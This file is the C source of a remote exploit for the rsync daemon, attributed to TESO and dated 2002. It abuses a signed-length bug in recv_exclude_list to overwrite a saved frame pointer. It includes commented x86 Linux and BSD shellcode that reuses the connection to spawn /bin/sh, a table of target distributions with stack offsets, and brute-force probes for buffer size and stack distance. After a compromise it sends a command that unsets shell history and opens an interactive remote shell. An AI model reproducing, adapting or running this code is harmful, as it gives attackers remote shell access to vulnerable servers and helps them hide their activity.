/* 7350rack - x86/linux+others rsync remote exploit * * TESO CONFIDENTIAL - SOURCE MATERIALS * * This is unpublished proprietary source code of TESO Security. * * The contents of these coded instructions, statements and computer * programs may not be disclosed to third parties, copied or duplicated in * any form, in whole or in part, without the prior written permission of * TESO Security. This includes especially the Bugtraq mailing list, the * www.hack.co.za website and any public exploit archive. * * The distribution restrictions cover the entire file, including this * header notice. (This means, you are not allowed to reproduce the header). * * (C) COPYRIGHT TESO Security, 2002 * All Rights Reserved * * 20020120 * - Added some offsets * - alignment not needed anymore * - auto search for module * - auto search for MAXPATHLEN (the overflow-alert * function helps us here :>) * - auto search for %ebp distance * * Compile: * gcc -o 7350rsync 7350rsync.c * * Greetings: ..are for wimps * * Based on the code of 'dieanderenase' :> * someone@segfault.net */ /* EXPLOIT INFORMATION: * * From a rsyncd.conf file: * * [ftp] * gid = ftp * use chroot = false * transfer logging = true * path=/home/ftp * * Following functions are involved: * * ... rsync_module() -> start_server() -> recv_exclude_list() [am_server=true] * * exclude.c:263 * void recv_exclude_list(int f) * { * char line[MAXPATHLEN]; * int l; * while ((l=read_int(f))) { * if (l >= MAXPATHLEN) overflow("recv_exclude_list"); * read_sbuf(f,line,l); * add_exclude(line,0); * } * } * * 'l' is signed and we may send negative values. Deeper it reads: * * void read_sbuf(int f,char *buf,int len) * { * read_buf(f,buf,len); * buf[len] = 0; * } * * Where read_buf() returns without doing anything. It does not call read(2) * so it does not crash but writes a 0-byte to buf[len]. * This is very similar to off-by-one, except we may also exploit big endian * architecture. Stack is like: * * [ retaddr ] * [ %ebp ] <- stackframe of recv_exclude_list * [ line ] <- From here we may write 0's to stack * [ l ] * [ ... ] <- 3*4 bytes args to read_sbuf() * [ retaddr ] * [ %ebp ] <- stackframe in read_sbuf();, We try * [ ... ] to overwrite LSB with line[-n]; * and make it point into *line. * * We now need to modify the last saved %ebp. We will actually shrink it, * that is 0xbfabcdef becomes 0xbfabcd00 since we write a 0 to the last * 8 bits. As a result, when read_sbuf() returns the %ebp points * somewhere into line-buf. Upon return of recv_exclude_list() %ebp * will be moved into %esp and *boom*, it uses a retaddr which we placed * into 'line' buffer. You just have to find the adress to return to * (somewhere into 'line') and the distance of 'line[0]' to the saved %ebp. * We overwrite the ebp of read_sbuf. * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* Who we are. */ const char *version_string = "@RSYNCD: 22\n"; /* * some usefull defines */ #define TEST_x86_SC(ptr) (*(int(*)())ptr)() #define ERREXIT(a...) do{fprintf(stderr, a);exit(-1);}while(0) #define PERREXIT(a...) do{fprintf(stderr, a);perror(" ");exit(-1);}while(0) #ifdef DEBUG # define DEBUGF(a...) do{fprintf(stderr, "%s:%d ", __FILE__, __LINE__);fprintf(stderr, a);}while(0) #else # define DEBUGF(a...) #endif #define CMD "unset HISTFILE;uname -a;w;\n" /* * tcp-execve(/bin/sh) shellcode, 62 byte + 17 byte extra * Works with inetd and direct tcp socket (if biggest). * skyper / teso [thnx to lorian who made this 4 bytes shorter :>] */ char x86_lnx_tcpexec[] = /* * Findsocket shellcode. We start with fd = 0, next is 254 down * to 1. This should work for inetd and normal daemons. * 31 byte */ "\x6a\x01" /* push $0x01 # socket_t must be <16 */ "\x5a" /* pop %edx # We set it to 0x01 */ /* We use the same register (start with 1) to */ /* count fd's from 0, 255..1 */ "\x52" /* push %edx */ "\x54" /* push %esp # socket_t * */ "\x54" /* push %esp # struct sockaddr * */ "\x52" /* push %edx # store fd value on stack */ /* The syscall modifes %edx but we must remember */ "\x89\xe1" /* mov %esp, %ecx # syscall arg. is pointer */ "\x6a\x07" /* push $0x07 # set %ebx to 0x07,needed */ "\x5b" /* pop %ebx # for getpeername() sysc. */ "\x5a" /* pop %edx # decrement fd in loop */ "\x85\xd2" /* test %edx, %edx # if 0 then reset to 0xff */ "\x75\x02" /* jne + 2 # This way we check fd 0 */ "\xb2\xff" /* movb %0xff, %dl # first (if inetd) */ "\x4a" /* dec %edx # and put it back into */ "\x52" /* push %edx # memory (we abuse stack) */ "\x6a\x66" /* push $0x66 # sycall nr. into %eax */ "\x58" /* pop %eax */ "\xcd\x80" /* int $0x80 # syscall! */ "\x85\xc0" /* test %eax, %eax # check return value */ "\x75\xeb" /* jne <-21> # repeat if failed */ "\x5b" /* pop %ebx # store net. fd in %ebx */ /* We assume the syscall succeeded and %eax is 0x00 */ /* * dub2(2..0, fd) shellcode. * assumed fd is in %ebx and %eax is 0x00. * 10 bytes */ "\x6a\x02" /* push $0x02 # dup from fd=2..0 */ "\x59" /* pop $ecx */ "\xb0\x3f" /* movb $0x3f, %al # syscall nr. for dup() */ "\xcd\x80" /* int $0x80 */ "\x49" /* dec %ecx */ "\x79\xf9" /* jns -7 */ /* We assume that the syscall succeeded and %eax is 0x00 */ /* * normal execve(/bin/sh) shellcode. %eax MUST be 0! * 21 bytes. * attention: To make this shellcode 0-free push %eax and use * "//bin/sh" instead of "/bin/sh\0". */ "\x68""/sh\0" /* pushl $0x0068732f # put "/bin/sh\0" on stack */ "\x68""/bin" /* pushl $0x6e69622f */ "\x89\xe3" /* movl %esp, %ebx # %ebx holds name[0] */ /* # first arguement to execve() suscall */ "\x50" /* pushl %eax # ptr to NULL on stack */ "\x53" /* pushl %ebx # &name[0] on stack */ "\x89\xe1" /* %movl %esp, %ecx # ptr to &name[0] in %ecx */ /* # 2nd arg. to execve() */ "\x99" /* set %edx to $0x0, 3rd arg. to execve() */ "\xb0\x0b" /* movb $0x0b, %al # syscall nr. for execve() */ "\xcd\x80" /* int $0x80 # linux syscall intr. */ /* * EXTRA, not needed. We output "CHR\n" if execve failed. * This means we are chrooted and may upload an egg. * 17b */ "\x6a\x04" /* push $0x04 # number of write syscall */ "\x58" /* pop %eax # saved in %eax */ "\x6a\x01" /* push $0x01 # fd=1, we dup2'ed it! */ "\x5b" /* pop %ebx */ "\x68""CHR\n" /* push $0xa524843 # Our string we output */ "\x89\xe1" /* mov %esp, %ecx # pointer to "CHR\n" */ "\x89\xc2" /* mov %eax, %edx # we write 4 byte to fd=1 */ "\xcd\x80" /* int $0x80 */ ; /* * *BSD findsocket/dup/execve(/bin/sh) shellcode. 58 bytes + EXTRA * Good parts ripped from LSD shellcode, this one is smaller. * skyper / teso */ char x86_bsd_tcpexec[] = /* * sycall parameters are passed on the stack, last argument * is pushed first. ESP points to the last _used_ element * on the stack. */ /* * findsocket shellcode * 26 bytes * Stackabuse: 12bytes (peak=20bytes) * (this means we must have +rw on %esp-20, which is * true for rsync) */ "\x6a\x01" /* push $0x01 # socklen_t */ "\x54" /* push %esp # ptr to our 0x01 */ "\x54" /* push %esp # storage for &addr */ "\x31\xc9" /* xorl %ecx, %ecx */ "\xb1\x01" /* movb $0x01, %cl */ "\x49" /* dec %ecx */ "\x79\x03" /* jns +3 # jump if not signed */ "\x41" /* inc %ecx # ecx:=0, before == -1 */ "\xb1\xff" /* movb $0xff, %cl */ "\x51" /* pushl %ecx # fd for getpeername() */ "\x6a\x1f" /* push $0x1f */ "\x58" /* pop %eax */ "\x51" /* pushl %ecx */ "\xcd\x80" /* int $0x80 */ "\x59" /* pop %ecx */ "\x59" /* pop %ecx # until we have our fd */ "\x85\xc0" /* test %eax, %eax */ "\x75\xed" /* jne -nn */ "\x89\xcb" /* mov %ecx,%ebx */ /* We assume fd in %ebx */ /* We assume %eax&0xffffff00 == 0 */ /* * ok, we can use above shellcode as stack if we are * somewhere near the page border (just in case). * Let's say, 24bytes ought to be enough for everyone */ "\x83\xc4\x18" /* add $0x18, %esp # fix stackabuse */ /* * dup fd starting from fd down to 0 with fd itsself. * 15 bytes * Stackabuse: 12bytes */ "\xb1\x02" /* movb $0x02, %cl */ "\x51" /* pushl %ecx */ "\x53" /* pushl %ebx */ "\x50" /* pushl %eax */ "\xb0\x5a" /* movb $0x5a, %al */ "\xcd\x80" /* int $0x80 */ "\x49" /* dec %ecx */ "\x79\xf6" /* jns -10 # jump not signed */ "\x83\xc4\x0c" /* add $0x0c, %esp # fix stackabuse */ /* * execve(/bin/sh\0) shellcode. * Requirement %eax&0xffffff00 = 0 * 20 bytes * Stackabuse: 16bytes */ "\x68""/sh\0" "\x68""/bin" "\x89\xe3" /* mov %esp,%ebx */ "\x50" /* pushl %eax */ "\x54" /* pushl %esp */ "\x53" /* pushl %ebx */ "\x50" /* pushl %eax */ "\xb0\x3b" /* movb $0x3b, %al */ "\xcd\x80" /* int $0x80 */ "\x83\xc4\x10" /* add $0x10, %esp # fix stackabuse */ /* * EXTRA to detect failed execve(), output CHR\n * 17 bytes * Stackabuse: 20bytes */ "\x68""CHR\n" /* pushl CHR\n */ "\x89\xe3" /* mov %esp, %ebx */ "\x6a\x04" /* push $0x04 */ "\x58" /* pop %eax */ "\x50" /* pushl %eax */ "\x53" /* pushl %ebx */ "\x6a\x01" /* push %0x01 # stdout */ "\x50" /* pushl %eax */ "\xcd\x80" /* guess... */ ; typedef struct { char *dist; char *package; unsigned char *code; int codesz; int maxpath; /* value of PATH_MAX-1 on target system */ int ebp_dist; /* distance of saved %ebp to line[] */ int b_start; /* startaddress for bruteforce */ int b_end; /* endaddress for bruteforce */ } tgt_type; tgt_type targets[] = { { "SuSE-7.1", "rsync-2.4.6 protocol 24", x86_lnx_tcpexec, sizeof(x86_lnx_tcpexec),4095, -48, 0xbfffffcc, 0xbfff0000}, { "SuSE-7.3", "rsync-2.4.6-153", x86_lnx_tcpexec, sizeof(x86_lnx_tcpexec), 4095, -48, 0xbfffffcc, 0xbfff0000}, { "Suse 4.4", "rsync-2.2.1", x86_lnx_tcpexec, sizeof(x86_lnx_tcpexec), 4095, -7, 0xbfffffcc, 0xbfff0000}, { "Mandrake 8.1", "rsync-2.4.6 protocol 24", x86_lnx_tcpexec, sizeof(x86_lnx_tcpexec), 4095, -40, 0xbfffffcc, 0xbfff0000}, { "RH 6.2 (Zoot)", "rsync-2.4.1 protocol 24", x86_lnx_tcpexec, sizeof(x86_lnx_tcpexec), 4095, -32, 0xbfffffcc, 0xbfff0000}, { "FreeBSD-4.3 x86", "rsync-2.4.6-2", x86_bsd_tcpexec, sizeof(x86_bsd_tcpexec), 1024, -48, 0xbfbfffff, 0xbfbf0000}, { "TheoBSD-2.9 x86", "rsync version 2.4.6 protocol 24", x86_bsd_tcpexec, sizeof(x86_bsd_tcpexec), 1024, -48, 0xdfbfd3dc, 0xdfbf0000}, { "NetBSD x86 generic", "rsync", x86_bsd_tcpexec, sizeof(x86_bsd_tcpexec), 0, 0, 0xbfbfd600, 0xbfb00000}, { "FreeBSD x86 genwric", "rsync", x86_bsd_tcpexec, sizeof(x86_bsd_tcpexec), 0, 0, 0xbfbfd600, 0xbfb00000}, { "TheoBSD x86 genwric", "rsync", x86_bsd_tcpexec, sizeof(x86_bsd_tcpexec), 0, 0, 0xdfbfd600, 0xdfb00000}, { "Linux x86 generic", "rsync", x86_lnx_tcpexec, sizeof(x86_lnx_tcpexec), 0, 0, 0xbffffffc, 0xbff00000}, { NULL, NULL, NULL, 0, 0, 0, 0} }; char debug; int timeout = 4; int write_sec(int fd, char *buf, int len); void show_targets(void) { int i; for (i = 0; targets[i].dist; ++i) printf("%d: %s %s\n", i+1, targets[i].dist, targets[i].package); return; } void die(const char *s) { perror(s); exit(errno); } void usage(void) { printf("7350rsync - remote rsync vulnerability v0.4g\n"); printf("usage: 7350rack [-hld] <-T sec> <-D num> <-P num> <-m module> <-t target>\n\thost\n\n"); printf("" "-d debug mode\n" "-h his help\n" "-p port Portnumber (default = 873)" "-T sec timeout valie (default = %d)\n" "-P num assume MAXPATHLEN = num (0 = AUTO)\n" "-D num &line[0] - ebp distance (0 = AUTO)\n" "-m name use this module\n" "-t num choose target (0 for list\n" "$ ./7350rack -D 0 -T 0 127.0.0.1 # check if vulnerable\n" "$ ./7350rack -t 4 127.0.0.1 # exploit target\n" "$ ./7350rack -t 1 -D 0 -P 0 127.0.0.1 # brute exploit\n" , timeout); exit(1); } /* Simple tcp_connect(). Disables Nagle. * ip and port are already in NBO. */ int tcp_connect(unsigned long ip, u_short port) { int sock, one = 1, len = sizeof(one); struct sockaddr_in sin; if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0) die("sock"); memset(&sin, 0, sizeof(sin)); sin.sin_addr.s_addr = ip; sin.sin_family = AF_INET; sin.sin_port = port; if (connect(sock, (struct sockaddr*)&sin, sizeof(sin)) < 0) return -1; if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &one, len) < 0) die("setsockopt"); return sock; } /* * Read input until \n or eof * The \n is not stored in the buffer! * The buffer is always \0 terminated. */ int readln(int fd, char *buf, size_t size) { int i = 0; char c; if (size == 0) return 0; while (i < size - 1) { if (read(fd, &c, 1) != 1) { if (i == 0) return -1; break; } if (c == '\n') break; buf[i++] = c; } buf[i] = '\0'; return i; } /* Find a valid module we can use. * Version for later extensions. * Return the first module in the list. */ char* rsync_find_module(int fd) { char rcv_buf[8192]; char *ptr; char *module = NULL; /* * Version banner. */ readln(fd, rcv_buf, sizeof(rcv_buf)); write(fd, version_string, strlen(version_string)); write(fd, "#list\n", 6); while(readln(fd, rcv_buf, sizeof(rcv_buf)) >= 0) { printf("%s\n", rcv_buf); /* Module must start with [A-Za-z] */ if ((rcv_buf[0] > 'z') || (rcv_buf[0] < 'A')) continue; if ((rcv_buf[0] < 'a') && (rcv_buf[0] > 'Z')) continue; if ( (ptr = strchr(rcv_buf, ' ')) != NULL) { if (strstr(rcv_buf, " ") == NULL) continue; *ptr = '\0'; } else { if (strlen(rcv_buf) > 16) continue; } if (module == NULL) { module = calloc(1, 32); snprintf(module, 32, "%s", rcv_buf); } } return module; } int read_int(int fd, char *buf) { char left = 0; int ret; while (left < 4) { ret = read(fd, buf+left, 4-left); if (ret <= 0) return -1; left += ret; } return left; } int rsync_handshake(int peer, char *mod) { char buf[8192] = ""; /* * Read in banner... */ while (readln(peer, buf, sizeof(buf)) >= 0) if (buf[0] == '@') break; snprintf(buf, sizeof(buf), "@RSYNCD: 24\n%s\n--server\n--daemon\n--sender\n\n", mod); write(peer, buf, strlen(buf)); /* Wait until all the MOTD crap has arrived */ while(readln(peer, buf, sizeof(buf)) >= 0) if (buf[0] == '@') break; if (strncmp(buf, "@RSYNCD:", 8) != 0) { printf("FAILED: %s\n", buf); return -1; } /* read integer value (whatever it is */ if (read_int(peer, buf) != 4) return -1; return 0; } /* * Establish tcp connection and wait until we have a clean line * Return connection/handshaked fd. */ int tcp_rsync_handshake(unsigned long ip, unsigned short port, char *mod) { int peer; if ( (peer = tcp_connect(ip, port)) < 0) die("tcp_connect"); while(rsync_handshake(peer, mod) != 0) { shutdown(peer, 2); close(peer); sleep(5); peer = tcp_connect(ip, port); } return peer; } /* * Brainstorming idea by stealth, thnx. * * find the distance between line[0] and ebp. * We could calculate this: * in recv_exclude_list() local variable 'int l' (+4 bytes), * 3*4 parameters to read_sbuf (+12 bytes), the saved return * address (+4 bytes) * and the least significant byte of * ebp (+3 byte) and +1 byte from line[0]. * Makes: 4+12+4+3+1 = 24 bytes. * Well, this works if you compile rsync on ur own * without any funky compiling options. Distributions * use 'non-default' options, cache-alingment, ... */ #define START_DIST (-17) int rsync_find_distance(unsigned long ip, unsigned short port, char *mod) { int peer; long l; char buf[512]; int ret; fd_set rfds; struct timeval tv; char *ptr; printf("[0x000] checking distance &line[0] -> sfp, linear, 4B steps\n"); if ( (peer = tcp_rsync_handshake(ip, port, mod)) <= 0) die("tcp_rsync_handshake"); /* * We dec. by 4 until we overwrite the MSB of saved ret. * We can step by 4 bytes because saved ret is aligned to * a 4 byte boundary on the stack. */ for (l = START_DIST; l > -255; l -=4) { write(0, ".", 1); write(peer, &l, sizeof(l)); restart: FD_ZERO(&rfds); FD_SET(peer, &rfds); tv.tv_sec = timeout; if (l == -255) tv.tv_sec += 4; /* Wait at least 4 seconds on last packet */ tv.tv_usec = 1000*100; /* +100ms at least, if timeout == */ ret = select(peer + 1, &rfds, NULL, NULL, &tv); if (ret == -1) die("select"); /* Timeout */ if (ret == 0) continue; if (!FD_ISSET(peer, &rfds)) goto restart; ret = read(peer, buf, sizeof(buf)); /* read error means peer closed connection...segfault */ if (ret <= 0) break; write_sec(0, buf, ret); ptr = memchr(buf, 'E', ret); if ( (ptr != NULL) && (strncmp(ptr, "ERROR:", 6) == 0)) { printf("BUG FIXED. OH NO!\n"); return 0; } /* * If we are here we received garbage :/ * FIXME: if somethign to read, discard it. read crap/motd/blah */ } if (l == -255) die("not vulnerable?\n"); /* * We segfault if we hit the saved return addr of read_sbuf(). * The sfp is 7 bytes from here (3 byte more ret, 4 bytes sfp * until we hit LSB of sfp */ if (l == START_DIST) printf("peer died after FIRST wrong value, fixed?\n"); else printf("\nFOUND (vulnerable) -> it's %li\n", l - 7); l -= 7; shutdown(peer, 2); close(peer); return l; } /* * calculate next pivot element between * left..right but near 2^n-1. */ int calc_pivot(int left, int right) { unsigned long bitmask = -1; int maxpath = left + (right - left)/2; while (bitmask & maxpath) bitmask <<= 0x01; /* this value is a little bit smaller than maxpath */ if (left < (maxpath & (bitmask >> 1)) - 1) return (maxpath & (bitmask >> 1)) - 1; /* * There is no 2^n value between left ... maxpath. * Lets find one between maxpath ... right */ if (right > (bitmask ^ (bitmask << 1)) - 1) return (bitmask ^ (bitmask << 1)) - 1; return maxpath; } /* * TEST function to verify if calc_pivot * works correctly. */ void train_pivot(int hit, int left, int right) { int pivot; printf("searching for %d in %d..%d\n", hit, left, right); while((hit != left) && (hit != right)) { pivot = calc_pivot(left, right); printf("pivot: %d\n", pivot); if (pivot > hit) right = pivot; else left = pivot; } } /* * Return MAXPATHLEN-1 of the remote */ #define MAX_RIGHT (8192*2) int rsync_find_maxpathlen(unsigned long ip, unsigned short port, char *mod) { int maxpath = 4096 - 1; int try = maxpath; char buf[512] = ""; int peer; int ret; fd_set rfds; struct timeval tv; int count = 0; int left = 0, right = MAX_RIGHT; char dummy[right]; memset(dummy, 0x73, sizeof(dummy)); printf("[0x%3.3x] checking whether MAXPATHLEN is %d... ", ++count, try + 1); peer = tcp_rsync_handshake(ip, port, mod); write(peer, &try, sizeof(try)); /* * Wait 4 seconds if remote closed connection or assume * that maxpathlen was not large enough. */ while(right - left > 1) { FD_ZERO(&rfds); FD_SET(peer, &rfds); tv.tv_sec = timeout; ret = select(peer + 1, &rfds, NULL, NULL, &tv); if (ret == -1) die("select"); /* * Timeout, fd is still open, lets reuse.. */ if (ret == 0) { /* * We have an exact match. */ if (try+1 == maxpath) break; printf("it's bigger\n"); /* * 4k is big enough.. */ if (try >= MAX_RIGHT) break; write(peer, dummy, try); left = try; /* * We failed with maxpath, but succeeded with try. */ if (try < maxpath) break; maxpath = calc_pivot(left, right); try = maxpath; /* * We run out of right border, must be very bif */ if (try > right) break; printf("[0x%3.3x] checking whether MAXPATHLEN is %d... ", ++count, try + 1); write(peer, &try, sizeof(try)); continue; } /* * Sometine ready for reading. Can be read-error * or real data. */ if (!FD_ISSET(peer, &rfds)) continue; /* * As long as there is really legit data * empty the buffer. * We also read here * "ERROR: buffer overflow in recv_exclude_list\n" * but ignore it and wait until read returns <0. * (2BC) */ if ( (ret = read(peer, buf, sizeof(buf))) > 0) continue; /* * Stop if we nearly have the distance. +-8 doesnt matter. */ if (try <= left+8) { printf("This is near enough.\n"); try = left; break; } /* read returned 0 or -1 (e.g. remote closed connection) */ printf("it's smaller\n"); right = try; /* reestablish connection/handshake */ shutdown(peer, 2); close(peer); peer = tcp_rsync_handshake(ip, port, mod); /* * Most unix have MAXPATHLEN defined as x^n - 1, * check for this (this speeds up the searc). * We substituate 2 because rsync checks for >= MAXPATHLEN. */ if (maxpath == try) { try--; } else { maxpath = calc_pivot(left, right); try = maxpath; } printf("[0x%3.3x] checking whether MAXPATHLEN is %d... ", ++count, try + 1); write(peer, &try, sizeof(try)); } /* eo while(1) */ shutdown(peer, 2); close(peer); printf("Will use %d!\n", try + 1); return try+1; } /* * Return 0 on timeout, -1 on read error or EOF */ int read_t(int fd, char *buf, unsigned int size, int sec) { fd_set rfds; int ret; struct timeval tv; while(1) { FD_ZERO(&rfds); FD_SET(fd, &rfds); tv.tv_sec = sec; /* * Return 0 on timeout. */ if ( (ret = select(fd + 1, &rfds, NULL, NULL, &tv)) == 0) return 0; if (ret < 0) { if (errno != EINTR) return -1; continue; } if (!FD_ISSET(fd, &rfds)) continue; ret = read(fd, buf, size); if (ret == 0) return -1; /* ret is -1 or a valid len */ break; } return ret; } /* * secure otuput. bahah. this is super slow :> */ int write_sec(int fd, char *buf, int len) { char b2[len]; int i; for (i = 0; i < len; i++) if (isprint(buf[i])) b2[i] = buf[i]; else b2[i] = '.'; return write(fd, b2, len); } /* Construct and send the evil packets. * Return socket descriptor to remote shell or -1 * if not able to exploit. */ int rsync_exploit(unsigned long ip, u_short port, char *mod, int version, int ti) { int l = 0, j = 0, dec; char buf[5000]; unsigned int *ret, i; int fd; int fakeframe; /* where fakeframe starts from buf[0] */ int count = 0; printf("Using %s (%s), dist: %d\n", targets[ti].dist, targets[ti].package, targets[ti].ebp_dist); /* * fakeframe is the distance between buf and the start of the first * fake frames */ fakeframe = (targets[ti].maxpath-1-248)&~3; /* see below why 62 fake stackframes are enough */ /* -1 because rsync checks for >= and noth just > */ /* * When bruteforcing we may decrement retaddr by nopspace. */ dec = fakeframe - targets[ti].codesz - 8; /* * - 8 bytes free: saved return address and ebp are the same * after we returned from read_sbuf (read above: each fake * stack frame is just 32bit in size). This means * ebp in recv_exclude_list points also somewhere in the nops * and in the worst case at the first nop. recv_exclude_list * needs 8 byte of local variables. */ for (i = targets[ti].b_start; i >= targets[ti].b_end; i -= dec) { fd = tcp_rsync_handshake(ip, port, mod); if (fd < 0) die("connect"); if (debug) { fprintf(stderr, "DEBUG: connected, press enter\n"); fgets(buf, sizeof(buf), stdin); } /* * The fake frame must be aligned to a 4 byte bundary. * We create it aligned in the exploit and it WILL be * aligned on the target (because line[] in recv_exclude_list * is also aligned to 4 byte * Our exploit buffer looks like this: * * - pad is between 0..3 so that all fake frames are * aligned to 4 bytes. * - 64 times a fake frame each 1 byte in size (just the * return address to our shellcode). * Each stack frame overlaps it's saved return (fake) with * the previous fake stack frame. The ebp we are going * to overwrite will point exactly to one of these frames. (and * will use this value as new ebp and the one before as saved * return address). * - shellcode & nop's are obvious! */ /* shellcode with NOPs */ memset(buf, 0, sizeof(buf)); memset(buf, 0x90, targets[ti].maxpath-1); memcpy(&buf[fakeframe - targets[ti].codesz], targets[ti].code, targets[ti].codesz); printf("[0x%3.3x] checking whether the shellcode is at 0x%8.8x->+0x%x... ", ++count, i, dec); /* Write return-adresses 256/4 times (0xff set to 0 * makes at most around 256 byte that %ebp can * shrink */ ret = (unsigned int*)&buf[fakeframe]; /* * Lets put 62 overlapping fake frames into our buffer. * Why not 64? The worst case would be when saved ebp in * read_sbuf already points to 0xbfffnn.nn00. We would * not change anything. If it would point to * 0xbfffnn.nn04 we could make the saved ebp in read_sbuf * point to the last fake stackframe in len. The saved * return would be stored at saved ebp+4, which we do * not control. Makes 2 less stackframes. Probably * one more because MAXPATHLEN % 4 != 0 and we have * some (<4) padding bytes on the stack. */ for (j = 0; j < 248/4; ++j) ret[j] = i; /* * Tell remote how many bytes we are about to write * and write fake ebp+shellcode+nop buffer. */ l = targets[ti].maxpath-1; write(fd, &l, sizeof(l)); write(fd, buf, l); l = targets[ti].ebp_dist; write(fd, &l, sizeof(l)); l = 0; write(fd, &l, sizeof(l)); /* send unset HISTFILE;uname -a;w; */ write(fd, CMD, sizeof(CMD)); /* * Either remote closed (read = 0) or we get the uname -a * output here. */ memset(buf, 0, sizeof(buf)); if ( (l = read_t(fd, buf, sizeof(buf)-1, debug?10000:timeout*2)) <= 0) { printf("no\n"); if (l == 0) printf("TIMEOUT, wrong ebp value?\n"); shutdown(fd, 2); close(fd); continue; } /* * On error rsync send 4 bytes value + error string. * The second byte of error is usually 0. */ if ((buf[1] == 0) || (strncmp(buf+4, "push_dir", 8) == 0)) { write_sec(0, buf+4, l); printf("Oops, Garbage received, try -D, distance?\n"); close(fd); continue; } printf("\n--- EXPLOITED ---\n"CMD); write_sec(0, buf, l); if (strncmp(buf, "CHR\n", 4) == 0) { printf("The exploit code found out that rsync runs chrooted.\n" "Use the upload/exec shellcode for chrooted\n" "environments as we did in 7350djb.\n"); return -1; } return fd; } return -1; } void shell(int sock) { int l; char buf[512]; fd_set rfds; while (1) { FD_ZERO(&rfds); FD_SET(0, &rfds); FD_SET(sock, &rfds); select(sock + 1, &rfds, NULL, NULL, NULL); if (FD_ISSET (0, &rfds)) { l = read(0, buf, sizeof buf); if (l <= 0) die("shell()::read"); write(sock, buf, l); } if (FD_ISSET (sock, &rfds)) { l = read(sock, buf, sizeof (buf)); if (l == 0) { printf("Connection closed by foreign host.\n"); exit(EXIT_FAILURE); } else if (l < 0) die("read remote"); write(1, buf, l); } } } /* * lame host resolver function */ unsigned long host_resolve(char *host) { unsigned long ip; struct hostent *he; if ( (ip = inet_addr(host)) != -1) return ip; if ( (he = gethostbyname(host)) == NULL) return -1; if (he->h_length != sizeof(ip)) return -1; return *(unsigned long *)he->h_addr; } /* * */ int main(int argc, char **argv) { int remote_version = 22; int peer = 0, c; char *mod = NULL; int target_n = -1, s; u_short port = htons(873); int maxpath = -1; unsigned long ip = 0; int distance = -1; //TEST_x86_SC(x86_jump); setbuffer(stdout, NULL, 0); printf("7350rsync -- remote rsync exploit, anonymous@segfault.net & die andere nase\n\n"); while ((c = getopt(argc, argv, "dT:D:P:m:t:p:")) != -1) { switch (c) { case 'd': debug = 1; break; case 'T': timeout = atoi(optarg); break; case 'P': maxpath = atoi(optarg); break; case 'D': distance = atoi(optarg); if (distance > 0) { printf("You meant -%d, right?\n", distance); distance = 0 - distance; } break; case 'm': mod = strdup(optarg); break; case 't': target_n = atoi(optarg); break; case 'p': port = htons(atoi(optarg)); break; default: usage(); break; } } /* * Show target list */ if (target_n == 0) { show_targets(); exit(0); } /* * get target hostname/ip */ if (optind >= argc) usage(); if ( (ip = host_resolve(argv[optind])) == -1) ERREXIT("Unable to resolve hostname.\n"); /* * Fetch modules from the remote */ if (mod == NULL) { printf("[0x000] checking for modules (use last found!)... \n"); peer = tcp_connect(ip, port); mod = rsync_find_module(peer); shutdown(peer, 2); close(peer); if (mod == NULL) die("can't find module, try rsync ip::"); } printf("MODULE : \"%s\"\n", mod); if (target_n != -1) { if (maxpath == -1) maxpath = targets[target_n - 1].maxpath; if (distance == -1) distance = targets[target_n - 1].ebp_dist; } if (maxpath == 0) maxpath = rsync_find_maxpathlen(ip, port, mod); if (distance == 0) distance = rsync_find_distance(ip, port, mod); /* * User MUST select a target (at least!). */ if (target_n == -1 || target_n >= sizeof(targets) / sizeof(*targets)) usage(); targets[target_n - 1].maxpath = maxpath; targets[target_n - 1].ebp_dist = distance; printf("MAXPATHLEN : %d\n", targets[target_n - 1].maxpath); printf("ebp distance : %d\n", targets[target_n - 1].ebp_dist); printf("checking if we everything works out... \n"); s = rsync_exploit(ip, port, mod, remote_version, target_n-1); if (s < 0) printf("failed :/ Maybe $ebp already ends in 00 or 04.\n"); else shell(s); return 0; }